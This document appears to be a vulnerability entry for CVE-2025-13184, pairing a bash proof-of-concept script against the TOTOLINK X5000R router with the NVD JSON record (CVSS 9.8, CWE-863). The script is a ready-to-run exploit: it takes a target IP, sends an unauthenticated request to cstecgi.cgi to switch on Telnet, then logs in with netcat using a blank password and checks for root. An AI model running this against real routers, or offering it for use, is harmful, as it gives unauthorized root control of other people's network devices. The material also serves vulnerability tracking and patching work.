CVE-2025-13184

#!/bin/bash # CVE-2025-13184 PoC - TOTOLINK X5000R Authentication Bypass via cstecgi.cgi # Target: TOTOLINK X5000R firmware V9.1.0u.6369_B20230113 TARGET_IP="$1" PORT="80" if [ -z "$TARGET_IP" ]; then echo "Usage: $0 <target_ip>" exit 1 fi echo "[*] Exploiting CVE-2025-13184 on $TARGET_IP" # Step 1: Enable Telnet service via cstecgi.cgi auth bypass curl -s -X POST "http://$TARGET_IP:$PORT/cgi-bin/cstecgi.cgi" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "{"topicurl":"set/TelenetEnable","TelenetEnable":"1"}" echo "[+] Telnet service enabled" # Wait for Telnet to start sleep 3 # Step 2: Login via Telnet with blank password echo "[+] Attempting Telnet login with blank password..." echo -e "\n" | nc -w 5 "$TARGET_IP" 23 & # Step 3: Verify root access echo "[+] Checking root access..." echo "id" | nc -w 5 "$TARGET_IP" 23 echo "[!] If successful, you should have root shell access"

{"cve": {"id": "CVE-2025-13184", "sourceIdentifier": "[email protected]", "published": "2025-12-10T13:16:02.970", "lastModified": "2025-12-19T19:27:20.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthenticated Telnet enablement via cstecgi.cgi (auth bypass) leading to unauthenticated root login with a blank password on factory/reset X5000R V9.1.0u.6369_B20230113 (arbitrary command execution). Earlier versions that share the same implementation, may also be affected."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6369_b20230113:*:*:*:*:*:*:*", "matchCriteriaId": "FAA27C60-0FFD-45E3-91B1-0C2F8EBF2442"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:x5000r:-:*:*:*:*:*:*:*", "matchCriteriaId": "BC45BFB0-0CF0-4F9E-B19D-D274B17F1591"}]}]}], "references": [{"url": "https://hackingbydoing.wixsite.com/hackingbydoing/post/totolink-x5000r-ax1800-router-authentication-bypass", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.kb.cert.org/vuls/id/821724", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}